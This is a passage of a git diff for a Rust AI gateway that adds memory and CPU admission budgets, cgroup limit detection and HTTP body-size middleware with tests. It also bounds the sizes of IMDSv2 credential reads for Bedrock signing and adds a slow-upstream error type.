+}
+
+pub fn policy() -> &'static Policy {
+    static POLICY: OnceLock<Policy> = OnceLock::new();
+    POLICY.get_or_init(|| {
+        let mut system = sysinfo::System::new();
+        system.refresh_memory();
+        let physical = match system.total_memory() {
+            0 => 1 << 30,
+            memory => memory,
+        };
+        let limit = system.cgroup_limits().map(|l| l.total_memory);
+        #[cfg(target_os = "linux")]
+        let limit = cgroup::memory_limit().or(limit);
+        let memory = limit
+            .filter(|&n| n > 0)
+            .map_or(physical, |n| n.min(physical));
+        Policy::for_machine(
+            std::thread::available_parallelism().map_or(1, usize::from),
+            memory,
+        )
+    })
+}
+
+struct Scheduler {
+    slots: Arc<Semaphore>,
+    inline: Semaphore,
+}
+
+impl Scheduler {
+    fn new(policy: &Policy) -> Self {
+        Self {
+            slots: Arc::new(Semaphore::new(policy.cpu_jobs)),
+            inline: Semaphore::new(policy.io_workers.div_ceil(2)),
+        }
+    }
+
+    async fn run<T>(&self, bytes: usize, f: impl FnOnce() -> T) -> T {
+        let _slot = self.slots.clone().acquire_owned().await.unwrap();
+        let inline = (bytes < MIB)
+            .then(|| self.inline.try_acquire().ok())
+            .flatten();
+        let multi = tokio::runtime::Handle::current().runtime_flavor()
+            == tokio::runtime::RuntimeFlavor::MultiThread;
+        if inline.is_some() || !multi {
+            f()
+        } else {
+            tokio::task::block_in_place(f)
+        }
+    }
+}
+
+fn scheduler() -> &'static Scheduler {
+    static SCHEDULER: OnceLock<Scheduler> = OnceLock::new();
+    SCHEDULER.get_or_init(|| Scheduler::new(policy()))
+}
+
+pub async fn cpu<T>(bytes: usize, f: impl FnOnce() -> T) -> T {
+    scheduler().run(bytes, f).await
+}
+
+/// Acquire before spawning; cancellation of the caller must not release a
+/// running password operation's CPU or memory admission.
+pub async fn password_slot() -> (OwnedSemaphorePermit, OwnedSemaphorePermit) {
+    static PASSWORDS: OnceLock<Arc<Semaphore>> = OnceLock::new();
+    let memory = PASSWORDS.get_or_init(|| Arc::new(Semaphore::new(policy().argon_jobs)));
+    let memory = memory.clone().acquire_owned().await.unwrap();
+    let cpu = scheduler().slots.clone().acquire_owned().await.unwrap();
+    (memory, cpu)
+}
+
+#[derive(Debug)]
+pub struct ByteBudget {
+    limit: usize,
+    used: Mutex<usize>,
+}
+
+impl ByteBudget {
+    pub fn new(limit: usize) -> Arc<Self> {
+        Arc::new(Self {
+            limit,
+            used: Mutex::new(0),
+        })
+    }
+
+    pub fn reserve(self: &Arc<Self>) -> Reservation {
+        Reservation {
+            budget: self.clone(),
+            charged: 0,
+        }
+    }
+
+    pub fn used(&self) -> usize {
+        *self.used.lock().unwrap_or_else(|e| e.into_inner())
+    }
+}
+
+#[derive(Debug)]
+pub struct Reservation {
+    budget: Arc<ByteBudget>,
+    charged: usize,
+}
+
+impl Reservation {
+    pub fn grow(&mut self, bytes: usize) -> bool {
+        let extra = bytes.saturating_sub(self.charged);
+        let mut used = self.budget.used.lock().unwrap_or_else(|e| e.into_inner());
+        if extra > self.budget.limit.saturating_sub(*used) {
+            return false;
+        }
+        *used += extra;
+        self.charged += extra;
+        true
+    }
+
+    pub fn wrap(self, data: Bytes) -> Bytes {
+        Bytes::from_owner(Buffered {
+            data,
+            reservation: Arc::new(self),
+        })
+    }
+}
+
+impl Drop for Reservation {
+    fn drop(&mut self) {
+        *self.budget.used.lock().unwrap_or_else(|e| e.into_inner()) -= self.charged;
+    }
+}
+
+struct Buffered {
+    data: Bytes,
+    reservation: Arc<Reservation>,
+}
+
+impl AsRef<[u8]> for Buffered {
+    fn as_ref(&self) -> &[u8] {
+        let _ = &self.reservation;
+        &self.data
+    }
+}
+
+pub fn body_budget() -> &'static Arc<ByteBudget> {
+    static BUDGET: OnceLock<Arc<ByteBudget>> = OnceLock::new();
+    BUDGET.get_or_init(|| ByteBudget::new(policy().body_bytes))
+}
+
+pub fn audit_budget() -> &'static Arc<ByteBudget> {
+    static BUDGET: OnceLock<Arc<ByteBudget>> = OnceLock::new();
+    BUDGET.get_or_init(|| ByteBudget::new(policy().audit_bytes))
+}
+
+/// A stream's retained timeline, shared with its detached post-invoke tail.
+pub struct StreamBudget {
+    reservation: Reservation,
+    received: usize,
+    max: usize,
+}
+
+impl StreamBudget {
+    pub fn new(budget: &Arc<ByteBudget>, max: usize) -> Self {
+        Self {
+            reservation: budget.reserve(),
+            received: 0,
+            max,
+        }
+    }
+
+    pub fn append(&mut self, bytes: usize) -> bool {
+        let received = self.received.saturating_add(bytes);
+        if received > self.max
+            || !self
+                .reservation
+                .grow(received.saturating_mul(BODY_HEADROOM))
+        {
+            return false;
+        }
+        self.received = received;
+        true
+    }
+}
+
+pub type SharedStreamBudget = Arc<Mutex<StreamBudget>>;
+
+pub fn stream_budget() -> SharedStreamBudget {
+    Arc::new(Mutex::new(StreamBudget::new(
+        body_budget(),
+        policy().max_body_bytes,
+    )))
+}
+
+#[derive(Debug, thiserror::Error)]
+pub enum ReadError {
+    #[error("The response exceeds the gateway buffering limit")]
+    TooLarge,
+    #[error("The gateway buffering budget is occupied; retry shortly")]
+    Busy,
+    #[error(transparent)]
+    Transport(#[from] reqwest::Error),
+}
+
+/// Charge before appending, including chunked and decompressed responses. Keep
+/// room for JSON, conversion and allocator capacity; never wait holding a partial
+/// body, since concurrent readers could otherwise deadlock each other.
+pub async fn read_response(response: reqwest::Response, max: usize) -> Result<Bytes, ReadError> {
+    let max = max.min(policy().max_body_bytes);
+    read_response_with_budget(response, max, body_budget()).await
+}
+
+/// The caller keeps the returned Bytes while it uses the decoded value.
+pub async fn read_json<T: serde::de::DeserializeOwned>(
+    response: reqwest::Response,
+    max: usize,
+) -> anyhow::Result<(T, Bytes)> {
+    let bytes = read_response(response, max).await?;
+    let value = cpu(bytes.len(), || serde_json::from_slice(&bytes)).await?;
+    Ok((value, bytes))
+}
+
+async fn read_response_with_budget(
+    mut response: reqwest::Response,
+    max: usize,
+    budget: &Arc<ByteBudget>,
+) -> Result<Bytes, ReadError> {
+    if response.content_length().is_some_and(|n| n > max as u64) {
+        return Err(ReadError::TooLarge);
+    }
+    let mut reservation = budget.reserve();
+    let mut data = Vec::new();
+    while let Some(chunk) = response.chunk().await? {
+        let size = data
+            .len()
+            .checked_add(chunk.len())
+            .ok_or(ReadError::TooLarge)?;
+        if size > max {
+            return Err(ReadError::TooLarge);
+        }
+        if !reservation.grow(size.saturating_mul(BODY_HEADROOM)) {
+            metrics::counter!("gateway_memory_busy_total").increment(1);
+            return Err(ReadError::Busy);
+        }
+        data.extend_from_slice(&chunk);
+    }
+    Ok(reservation.wrap(data.into()))
+}
+
+/// A transformed/captured body still owns the original read reservation.
+pub fn retain(data: Bytes, source: Bytes) -> Bytes {
+    struct Retained {
+        data: Bytes,
+        _source: Bytes,
+    }
+    impl AsRef<[u8]> for Retained {
+        fn as_ref(&self) -> &[u8] {
+            &self.data
+        }
+    }
+    Bytes::from_owner(Retained {
+        data,
+        _source: source,
+    })
+}
+
+/// Reserve before fetching a Redis cache entry. STRLEN followed by bounded
+/// GETRANGE also stays bounded if another writer replaces the key in between.
+pub async fn cached_body(redis: &fred::clients::Client, key: &str) -> Option<Bytes> {
+    use fred::interfaces::KeysInterface;
+    let length: usize = redis.strlen(key).await.ok()?;
+    if length == 0 || length > policy().max_body_bytes {
+        return None;
+    }
+    let mut lease = body_budget().reserve();
+    if !lease.grow(length.saturating_mul(BODY_HEADROOM)) {
+        return None;
+    }
+    let data: Vec<u8> = redis.getrange(key, 0, length).await.ok()?;
+    if data.len() > length {
+        return None;
+    }
+    Some(lease.wrap(data.into()))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn memory_limits_allocation_without_capping_a_well_provisioned_eighty_core_server() {
+        let large = Policy::for_machine(80, 128 << 30);
+        assert_eq!(
+            (large.io_workers, large.cpu_jobs, large.argon_jobs),
+            (8, 80, 80)
+        );
+        let small = Policy::for_machine(80, 256 << 20);
+        assert_eq!((small.cpu_jobs, small.argon_jobs), (2, 1));
+        assert!(small.body_bytes + small.audit_bytes <= 256 * MIB / 2);
+    }
+
+    #[test]
+    fn reservations_follow_shared_slices_and_failed_growth_is_atomic() {
+        let budget = ByteBudget::new(10);
+        let mut lease = budget.reserve();
+        assert!(lease.grow(8));
+        assert!(!lease.grow(11));
+        let data = lease.wrap(Bytes::from_static(b"hello"));
+        let slice = data.slice(1..3);
+        drop(data);
+        assert_eq!(budget.used(), 8);
+        drop(slice);
+        assert_eq!(budget.used(), 0);
+    }
+
+    #[tokio::test]
+    async fn chunked_responses_obey_size_and_shared_memory_limits() {
+        async fn response() -> (reqwest::Response, tokio::task::JoinHandle<()>) {
+            let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+            let url = format!("http://{}/", listener.local_addr().unwrap());
+            let router = axum::Router::new().route(
+                "/",
+                axum::routing::get(|| async {
+                    axum::body::Body::from_stream(futures::stream::iter([
+                        Ok::<_, std::io::Error>(Bytes::from_static(b"12345678")),
+                        Ok(Bytes::from_static(b"abcdefgh")),
+                    ]))
+                }),
+            );
+            let server = tokio::spawn(async move { axum::serve(listener, router).await.unwrap() });
+            (reqwest::get(url).await.unwrap(), server)
+        }
+        for (limit, max, expected) in [
+            (10 * BODY_HEADROOM, 32, "busy"),
+            (32 * BODY_HEADROOM, 12, "large"),
+            (32 * BODY_HEADROOM, 32, "ok"),
+        ] {
+            let budget = ByteBudget::new(limit);
+            let (response, server) = response().await;
+            assert!(response.content_length().is_none());
+            match read_response_with_budget(response, max, &budget).await {
+                Err(ReadError::Busy) => assert_eq!(expected, "busy"),
+                Err(ReadError::TooLarge) => assert_eq!(expected, "large"),
+                Ok(bytes) => {
+                    assert_eq!(expected, "ok");
+                    assert_eq!(&bytes[..], b"12345678abcdefgh");
+                    assert_eq!(budget.used(), 16 * BODY_HEADROOM);
+                    let copy = bytes.clone();
+                    drop(bytes);
+                    assert_eq!(budget.used(), 16 * BODY_HEADROOM);
+                    drop(copy);
+                }
+                Err(error) => panic!("{error}"),
+            }
+            assert_eq!(budget.used(), 0);
+            server.abort();
+        }
+    }
+
+    #[test]
+    fn stream_timeline_reservations_cover_retained_history_and_reject_growth() {
+        let budget = ByteBudget::new(25 * BODY_HEADROOM);
+        let mut stream = StreamBudget::new(&budget, 64);
+        assert!(stream.append(20));
+        assert!(!stream.append(10));
+        assert_eq!(budget.used(), 20 * BODY_HEADROOM);
+        drop(stream);
+        assert_eq!(budget.used(), 0);
+    }
+
+    #[test]
+    fn eighty_cpu_jobs_expand_beyond_io_workers_then_threads_retire() {
+        use std::sync::atomic::{AtomicUsize, Ordering};
+        use std::time::Instant;
+        let alive = Arc::new(AtomicUsize::new(0));
+        let (started, stopped) = (alive.clone(), alive.clone());
+        let runtime = tokio::runtime::Builder::new_multi_thread()
+            .worker_threads(2)
+            .thread_keep_alive(Duration::from_millis(50))
+            .on_thread_start(move || {
+                started.fetch_add(1, Ordering::SeqCst);
+            })
+            .on_thread_stop(move || {
+                stopped.fetch_sub(1, Ordering::SeqCst);
+            })
+            .enable_all()
+            .build()
+            .unwrap();
+        let scheduler = Arc::new(Scheduler::new(&Policy {
+            io_workers: 2,
+            ..Policy::for_machine(80, 128 << 30)
+        }));
+        runtime.block_on(async {
+            let release = Arc::new((Mutex::new(false), std::sync::Condvar::new()));
+            let (began, mut beginnings) = tokio::sync::mpsc::unbounded_channel();
+            let mut jobs = Vec::new();
+            for _ in 0..80 {
+                let (scheduler, release, began) =
+                    (scheduler.clone(), release.clone(), began.clone());
+                jobs.push(tokio::spawn(async move {
+                    scheduler
+                        .run(4096, || {
+                            began.send(()).unwrap();
+                            let guard = release.0.lock().unwrap();
+                            let _guard = release
+                                .1
+                                .wait_timeout_while(guard, Duration::from_secs(10), |done| !*done)
+                                .unwrap();
+                        })
+                        .await;
+                }));
+            }
+            for _ in 0..80 {
+                tokio::time::timeout(Duration::from_secs(5), beginnings.recv())
+                    .await
+                    .expect("all 80 calls must start")
+                    .unwrap();
+            }
+            assert_eq!(scheduler.slots.available_permits(), 0);
+            tokio::time::sleep(Duration::from_millis(1)).await;
+            *release.0.lock().unwrap() = true;
+            release.1.notify_all();
+            for job in jobs {
+                job.await.unwrap();
+            }
+        });
+        let deadline = Instant::now() + Duration::from_secs(5);
+        while alive.load(Ordering::SeqCst) != 2 && Instant::now() < deadline {
+            std::thread::sleep(Duration::from_millis(10));
+        }
+        assert_eq!(alive.load(Ordering::SeqCst), 2);
+    }
+}
diff --git a/crates/common/src/resources/cgroup.rs b/crates/common/src/resources/cgroup.rs
new file mode 100644
index 00000000..72ae6aa1
--- /dev/null
+++ b/crates/common/src/resources/cgroup.rs
@@ -0,0 +1,89 @@
+//! 同时看当前 cgroup 和它的祖先，systemd 的子组也不能越过父组的内存限额。
+
+use std::path::{Component, Path};
+
+#[cfg(target_os = "linux")]
+pub(super) fn memory_limit() -> Option<u64> {
+    let membership = std::fs::read_to_string("/proc/self/cgroup").ok()?;
+    membership
+        .lines()
+        .filter_map(|line| {
+            let mut fields = line.splitn(3, ':');
+            let hierarchy = fields.next()?;
+            let controllers = fields.next()?;
+            let path = fields.next()?;
+            if hierarchy == "0" && controllers.is_empty() {
+                lowest_limit(Path::new("/sys/fs/cgroup"), Path::new(path), "memory.max")
+            } else if controllers.split(',').any(|c| c == "memory") {
+                lowest_limit(
+                    Path::new("/sys/fs/cgroup/memory"),
+                    Path::new(path),
+                    "memory.limit_in_bytes",
+                )
+            } else {
+                None
+            }
+        })
+        .min()
+}
+
+fn lowest_limit(root: &Path, membership: &Path, file: &str) -> Option<u64> {
+    // cgroup namespace 可以把当前组挂成根目录。深路径不存在时，仍然检查挂载根的限额。
+    if membership
+        .components()
+        .any(|c| matches!(c, Component::ParentDir | Component::Prefix(_)))
+    {
+        return None;
+    }
+    let relative = membership.strip_prefix("/").unwrap_or(membership);
+    let current = root.join(relative);
+    current
+        .ancestors()
+        .take_while(|p| p.starts_with(root))
+        .filter_map(|p| {
+            std::fs::read_to_string(p.join(file))
+                .ok()?
+                .trim()
+                .parse::<u64>()
+                .ok()
+                .filter(|&n| n > 0)
+        })
+        .min()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn nested_groups_obey_the_smallest_ancestor_limit() {
+        let dir = tempfile::tempdir().unwrap();
+        let root = dir.path();
+        std::fs::create_dir_all(root.join("service/child")).unwrap();
+        std::fs::write(root.join("memory.max"), "max\n").unwrap();
+        std::fs::write(root.join("service/memory.max"), "536870912\n").unwrap();
+        std::fs::write(root.join("service/child/memory.max"), "1073741824\n").unwrap();
+        assert_eq!(
+            lowest_limit(root, Path::new("/service/child"), "memory.max"),
+            Some(512 << 20)
+        );
+    }
+
+    #[test]
+    fn a_namespaced_mount_root_and_v1_limits_are_supported() {
+        let dir = tempfile::tempdir().unwrap();
+        std::fs::write(dir.path().join("memory.limit_in_bytes"), "268435456").unwrap();
+        assert_eq!(
+            lowest_limit(
+                dir.path(),
+                Path::new("/unavailable/host/path"),
+                "memory.limit_in_bytes"
+            ),
+            Some(256 << 20)
+        );
+        assert_eq!(
+            lowest_limit(dir.path(), Path::new("/../escape"), "memory.limit_in_bytes"),
+            None
+        );
+    }
+}
diff --git a/crates/common/src/resources/http.rs b/crates/common/src/resources/http.rs
new file mode 100644
index 00000000..e07f7eb0
--- /dev/null
+++ b/crates/common/src/resources/http.rs
@@ -0,0 +1,227 @@
+//! Body admission precedes extraction; checking in the handler is too late.
+
+use std::pin::Pin;
+use std::sync::Arc;
+use std::task::{Context, Poll};
+
+use axum::body::{Body, Bytes, HttpBody};
+use axum::extract::Request;
+use axum::middleware::Next;
+use axum::response::{IntoResponse, Response};
+use futures::StreamExt;
+
+use super::{ByteBudget, policy};
+
+/// Preserve Axum's JSON errors while moving large/concurrent decoding off I/O.
+pub struct ScheduledJson<T>(pub T);
+
+impl<S, T> axum::extract::FromRequest<S> for ScheduledJson<T>
+where
+    S: Send + Sync,
+    T: serde::de::DeserializeOwned,
+{
+    type Rejection = Response;
+
+    async fn from_request(request: Request, state: &S) -> Result<Self, Self::Rejection> {
+        let json = request
+            .headers()
+            .get(axum::http::header::CONTENT_TYPE)
+            .and_then(|h| h.to_str().ok())
+            .and_then(|h| h.split(';').next())
+            .is_some_and(|h| {
+                let h = h.trim().to_ascii_lowercase();
+                h == "application/json" || (h.starts_with("application/") && h.ends_with("+json"))
+            });
+        if !json {
+            return Err((
+                axum::http::StatusCode::UNSUPPORTED_MEDIA_TYPE,
+                "Expected request with Content-Type: application/json",
+            )
+                .into_response());
+        }
+        let bytes = Bytes::from_request(request, state)
+            .await
+            .map_err(IntoResponse::into_response)?;
+        super::cpu(bytes.len(), || axum::Json::<T>::from_bytes(&bytes))
+            .await
+            .map(|axum::Json(value)| Self(value))
+            .map_err(IntoResponse::into_response)
+    }
+}
+
+pub async fn admit(request: Request, next: Next) -> Response {
+    admit_with_budget(request, next, super::body_budget(), policy().max_body_bytes).await
+}
+
+async fn admit_with_budget(
+    request: Request,
+    next: Next,
+    budget: &Arc<ByteBudget>,
+    max: usize,
+) -> Response {
+    let (parts, body) = request.into_parts();
+    if body.size_hint().upper().is_some_and(|n| n > max as u64) {
+        return rejection(axum::http::StatusCode::PAYLOAD_TOO_LARGE);
+    }
+    let mut data = Vec::new();
+    let mut lease = budget.reserve();
+    let mut chunks = body.into_data_stream();
+    while let Some(chunk) = chunks.next().await {
+        let chunk = match chunk {
+            Ok(chunk) => chunk,
+            Err(error) => {
+                use std::error::Error;
+                let status = if error
+                    .source()
+                    .is_some_and(|e| e.is::<http_body_util::LengthLimitError>())
+                {
+                    axum::http::StatusCode::PAYLOAD_TOO_LARGE
+                } else {
+                    axum::http::StatusCode::BAD_REQUEST
+                };
+                return rejection(status);
+            }
+        };
+        let size = data.len().saturating_add(chunk.len());
+        if size > max {
+            return rejection(axum::http::StatusCode::PAYLOAD_TOO_LARGE);
+        }
+        if !lease.grow(size.saturating_mul(super::BODY_HEADROOM)) {
+            return rejection(axum::http::StatusCode::TOO_MANY_REQUESTS);
+        }
+        data.extend_from_slice(&chunk);
+    }
+    let data = lease.wrap(data.into());
+    let mut response = next
+        .run(Request::from_parts(parts, Body::from(data.clone())))
+        .await;
+    let body = std::mem::replace(response.body_mut(), Body::empty());
+    *response.body_mut() = Body::new(HeldBody {
+        inner: body,
+        _request: data,
+    });
+    response
+}
+
+fn rejection(status: axum::http::StatusCode) -> Response {
+    let busy = status == axum::http::StatusCode::TOO_MANY_REQUESTS;
+    let message = if busy {
+        "The gateway is buffering other requests. Retry shortly."
+    } else if status == axum::http::StatusCode::PAYLOAD_TOO_LARGE {
+        "The request body exceeds the gateway buffering limit."
+    } else {
+        "The request body could not be read."
+    };
+    let mut response = (status, axum::Json(serde_json::json!({
+        "error": {"type": if busy { "rate_limit_error" } else { "invalid_request_error" }, "message": message}
+    }))).into_response();
+    if busy {
+        response
+            .headers_mut()
+            .insert(axum::http::header::RETRY_AFTER, "1".parse().unwrap());
+        metrics::counter!("gateway_memory_busy_total").increment(1);
+    }
+    response
+}
+
+/// A JSON extractor discards the input Bytes while its decoded object still
+/// exists. Retain admission through the response, including streaming and drop.
+struct HeldBody {
+    inner: Body,
+    _request: Bytes,
+}
+
+impl HttpBody for HeldBody {
+    type Data = Bytes;
+    type Error = axum::Error;
+
+    fn poll_frame(
+        mut self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+    ) -> Poll<Option<Result<http_body::Frame<Self::Data>, Self::Error>>> {
+        Pin::new(&mut self.inner).poll_frame(cx)
+    }
+
+    fn is_end_stream(&self) -> bool {
+        self.inner.is_end_stream()
+    }
+    fn size_hint(&self) -> http_body::SizeHint {
+        self.inner.size_hint()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use axum::{Router, routing::post};
+    use tower::ServiceExt;
+
+    fn router(budget: Arc<ByteBudget>, max: usize) -> Router {
+        Router::new()
+            .route("/", post(|body: Bytes| async move { body }))
+            .layer(axum::middleware::from_fn(
+                move |request: Request, next: Next| {
+                    let budget = budget.clone();
+                    async move { admit_with_budget(request, next, &budget, max).await }
+                },
+            ))
+    }
+
+    #[tokio::test]
+    async fn chunked_pressure_returns_retryable_429_and_frees_partial_buffers() {
+        let budget = ByteBudget::new(25 * super::super::BODY_HEADROOM);
+        let app = router(budget.clone(), 64);
+        let chunks = futures::stream::iter([
+            Ok::<_, std::io::Error>(Bytes::from(vec![b'a'; 20])),
+            Ok(Bytes::from(vec![b'b'; 10])),
+        ]);
+        let request = Request::post("/").body(Body::from_stream(chunks)).unwrap();
+        let response = app.clone().oneshot(request).await.unwrap();
+        assert_eq!(response.status(), 429);
+        assert_eq!(response.headers()["retry-after"], "1");
+        assert_eq!(budget.used(), 0);
+
+        let request = Request::post("/").body(Body::from(vec![b'x'; 16])).unwrap();
+        let response = app.oneshot(request).await.unwrap();
+        assert_eq!(response.status(), 200);
+        assert_eq!(
+            budget.used(),
+            16 * super::super::BODY_HEADROOM,
+            "input admission outlives the extractor"
+        );
+        let body = axum::body::to_bytes(response.into_body(), 100)
+            .await
+            .unwrap();
+        assert_eq!(body.len(), 16);
+        drop(body);
+        assert_eq!(budget.used(), 0);
+    }
+
+    #[tokio::test]
+    async fn an_oversize_body_is_413_and_cancellation_releases_partial_admission() {
+        let budget = ByteBudget::new(25 * super::super::BODY_HEADROOM);
+        let app = router(budget.clone(), 20);
+        let response = app
+            .clone()
+            .oneshot(Request::post("/").body(Body::from(vec![0; 21])).unwrap())
+            .await
+            .unwrap();
+        assert_eq!(response.status(), 413);
+        assert_eq!(budget.used(), 0);
+
+        let sent = Arc::new(tokio::sync::Notify::new());
+        let started = sent.clone();
+        let chunks = async_stream::stream! {
+            yield Ok::<_, std::io::Error>(Bytes::from_static(b"12345678"));
+            started.notify_one();
+            std::future::pending::<()>().await;
+        };
+        let task =
+            tokio::spawn(app.oneshot(Request::post("/").body(Body::from_stream(chunks)).unwrap()));
+        sent.notified().await;
+        assert_eq!(budget.used(), 8 * super::super::BODY_HEADROOM);
+        task.abort();
+        assert!(task.await.unwrap_err().is_cancelled());
+        assert_eq!(budget.used(), 0);
+    }
+}
diff --git a/crates/gateway/src/bedrock/sigv4.rs b/crates/gateway/src/bedrock/sigv4.rs
index 632d9940..f6dc4f31 100644
--- a/crates/gateway/src/bedrock/sigv4.rs
+++ b/crates/gateway/src/bedrock/sigv4.rs
@@ -195,27 +195,29 @@ impl Signer {
         let fail = |what: &str, e: reqwest::Error| SignError::Credentials(format!("{what}: {e}"));
         let imds = &self.imds;
 
-        let token = client
+        let token_response = client
             .put(format!("{imds}/latest/api/token"))
             .header("X-aws-ec2-metadata-token-ttl-seconds", "300")
             .send()
             .await
             .and_then(reqwest::Response::error_for_status)
-            .map_err(|e| fail("IMDSv2 token request", e))?
-            .text()
+            .map_err(|e| fail("IMDSv2 token request", e))?;
+        let token_bytes = think_watch_common::resources::read_response(token_response, 64 * 1024)
             .await
-            .map_err(|e| fail("IMDSv2 token read", e))?;
+            .map_err(|e| SignError::Credentials(format!("IMDSv2 token read: {e}")))?;
+        let token = String::from_utf8_lossy(&token_bytes);
 
-        let role = client
+        let role_response = client
             .get(format!("{imds}/latest/meta-data/iam/security-credentials/"))
-            .header("X-aws-ec2-metadata-token", &token)
+            .header("X-aws-ec2-metadata-token", token.as_ref())
             .send()
             .await
             .and_then(reqwest::Response::error_for_status)
-            .map_err(|e| fail("IMDSv2 role lookup", e))?
-            .text()
+            .map_err(|e| fail("IMDSv2 role lookup", e))?;
+        let role_bytes = think_watch_common::resources::read_response(role_response, 64 * 1024)
             .await
-            .map_err(|e| fail("IMDSv2 role read", e))?;
+            .map_err(|e| SignError::Credentials(format!("IMDSv2 role read: {e}")))?;
+        let role = String::from_utf8_lossy(&role_bytes);
         // One role per instance profile; the listing is one name per line
         let role = role.lines().next().unwrap_or_default().trim();
         if role.is_empty() {
@@ -224,18 +226,21 @@ impl Signer {
             ));
         }
 
-        let creds: serde_json::Value = client
+        let credentials_response = client
             .get(format!(
                 "{imds}/latest/meta-data/iam/security-credentials/{role}"
             ))
-            .header("X-aws-ec2-metadata-token", &token)
+            .header("X-aws-ec2-metadata-token", token.as_ref())
             .send()
             .await
             .and_then(reqwest::Response::error_for_status)
-            .map_err(|e| fail("IMDSv2 credentials fetch", e))?
-            .json()
-            .await
-            .map_err(|e| fail("IMDSv2 credentials parse", e))?;
+            .map_err(|e| fail("IMDSv2 credentials fetch", e))?;
+        let credentials_bytes =
+            think_watch_common::resources::read_response(credentials_response, 64 * 1024)
+                .await
+                .map_err(|e| SignError::Credentials(format!("IMDSv2 credentials read: {e}")))?;
+        let creds: serde_json::Value = serde_json::from_slice(&credentials_bytes)
+            .map_err(|e| SignError::Credentials(format!("IMDSv2 credentials parse: {e}")))?;
 
         let field = |k: &str| {
             creds[k]
diff --git a/crates/gateway/src/cache.rs b/crates/gateway/src/cache.rs
index e8e3b933..42eef3c9 100644
--- a/crates/gateway/src/cache.rs
+++ b/crates/gateway/src/cache.rs
@@ -7,6 +7,7 @@ use xxhash_rust::xxh3::xxh3_128;
 
 /// A cached answer, in the caller's format with redaction placeholders intact.
 pub struct Cached {
+    pub memory: bytes::Bytes,
     pub body: Vec<u8>,
     /// Kept so a hit counts toward token limits and budgets the way the
     /// original call did.
@@ -135,17 +136,20 @@ impl ResponseCache {
     /// Look up a cached answer.
     pub async fn get(&self, fingerprint: &[u8]) -> Option<Cached> {
         let key = Self::cache_key_for(fingerprint);
-        let stored: Option<String> = self.redis.get(&key).await.ok().flatten();
-        stored.and_then(|json| {
-            serde_json::from_str::<Stored>(&json)
+        let json = think_watch_common::resources::cached_body(&self.redis, &key).await?;
+        let memory = json.clone();
+        think_watch_common::resources::cpu(json.len(), || {
+            serde_json::from_slice::<Stored>(&json)
                 .map_err(|e| tracing::warn!("Failed to read a cached response: {e}"))
                 .ok()
                 .map(|s| Cached {
+                    memory,
                     body: serde_json::to_vec(&s.body).unwrap_or_default(),
                     prompt_tokens: s.prompt_tokens,
                     completion_tokens: s.completion_tokens,
                 })
         })
+        .await
     }
 
     /// Invalidate all cached responses by deleting keys matching the
diff --git a/crates/gateway/src/content_filter.rs b/crates/gateway/src/content_filter.rs
index 1127e6a7..46ef6fe8 100644
--- a/crates/gateway/src/content_filter.rs
+++ b/crates/gateway/src/content_filter.rs
@@ -367,7 +367,7 @@ mod tests {
     }
 
     fn mask() -> Redaction {
-        Redaction::new(&RedactPolicy::default())
+        Redaction::new(&RedactPolicy::default(), &Default::default())
     }
 
     #[test]
diff --git a/crates/gateway/src/error.rs b/crates/gateway/src/error.rs
index fa771ff5..c376f283 100644
--- a/crates/gateway/src/error.rs
+++ b/crates/gateway/src/error.rs
@@ -103,6 +103,21 @@ pub enum GatewayError {
          conversation."
     )]
     SealedHistoryUnavailable { provider: String, model: String },
+    /// A stream generated slower than its provider's minimum (see
+    /// `proxy::min_speed`): `rate` tokens per second over the last `secs`
+    /// seconds, below `min`. The stream was cut; maps to 503, the
+    /// upstream failing, so the client can try again and the route's
+    /// breaker counts it.
+    #[error(
+        "Upstream `{provider}` generated {rate} tokens per second over the last {secs} seconds, \
+         below the minimum of {min}."
+    )]
+    UpstreamTooSlow {
+        provider: String,
+        rate: u32,
+        min: u32,
+        secs: u32,
+    },
 }
 
 impl GatewayError {
@@ -126,6 +141,7 @@ impl GatewayError {
             GatewayError::PolicyBlocked(_) => 403,
             GatewayError::SealedHistoryRefused { status, .. } => i64::from(*status),
             GatewayError::SealedHistoryUnavailable { .. } => 409,
+            GatewayError::UpstreamTooSlow { .. } => 503,
         }
     }
 
@@ -146,6 +162,7 @@ impl GatewayError {
             GatewayError::PolicyBlocked(_) => "PolicyBlocked",
             GatewayError::SealedHistoryRefused { .. } => "SealedHistoryRefused",
             GatewayError::SealedHistoryUnavailable { .. } => "SealedHistoryUnavailable",
+            GatewayError::UpstreamTooSlow { .. } => "UpstreamTooSlow",
         }
     }
 
@@ -256,4 +273,25 @@ mod tests {
         assert_eq!(down.retry_after_secs(), Some(30));
         assert_eq!(down.should_retry(), None);
     }
+
+    #[test]
+    fn a_stream_too_slow_is_the_upstream_failing_and_says_how_slow() {
+        let e = GatewayError::UpstreamTooSlow {
+            provider: "local-vllm".into(),
+            rate: 3,
+            min: 15,
+            secs: 20,
+        };
+        assert_eq!(e.status_code(), 503);
+        assert_eq!(e.error_tag(), "UpstreamTooSlow");
+        assert!(crate::proxy::upstream_failed(
+            e.error_tag(),
+            e.status_code()
+        ));
+        assert_eq!(
+            e.to_string(),
+            "Upstream `local-vllm` generated 3 tokens per second over the last 20 seconds, \
+             below the minimum of 15."
+        );
+    }
 }
diff --git a/crates/gateway/src/guards.rs b/crates/gateway/src/guards.rs
index 3986cabb..5da792dc 100644
--- a/crates/gateway/src/guards.rs
+++ b/crates/gateway/src/guards.rs
@@ -27,7 +27,8 @@
 //! `logs:read_bodies` for bodies). A content event names the rule and
 //! counts the matches; a redaction event names the rule and counts the
 //! values, and only a built-in rule's carries a few, masked
-//! (`sk-an…7f9c`); a tool-call event quotes the arguments that matched —
+//! (`sk-an…7f9c`) — except a saved provider key's, which names the
+//! provider instead (`sources`); a tool-call event quotes the arguments that matched —
 //! the upstream's text, not the caller's — masked with the redaction rules
 //! ([`crate::redaction::Redaction::mask`]). A request writes at most a
 //! score of events per guard, one per rule.
@@ -35,6 +36,7 @@
 use std::sync::Arc;
 
 use think_watch_common::audit::{AuditActor, AuditEntry, GatewayActor, LogType};
+use think_watch_common::guard_policy::saved::SavedSecrets;
 use tw_guard::policy::Security;
 
 use crate::content_filter::ContentFilter;
@@ -50,14 +52,16 @@ pub struct Guards {
 }
 
 impl Guards {
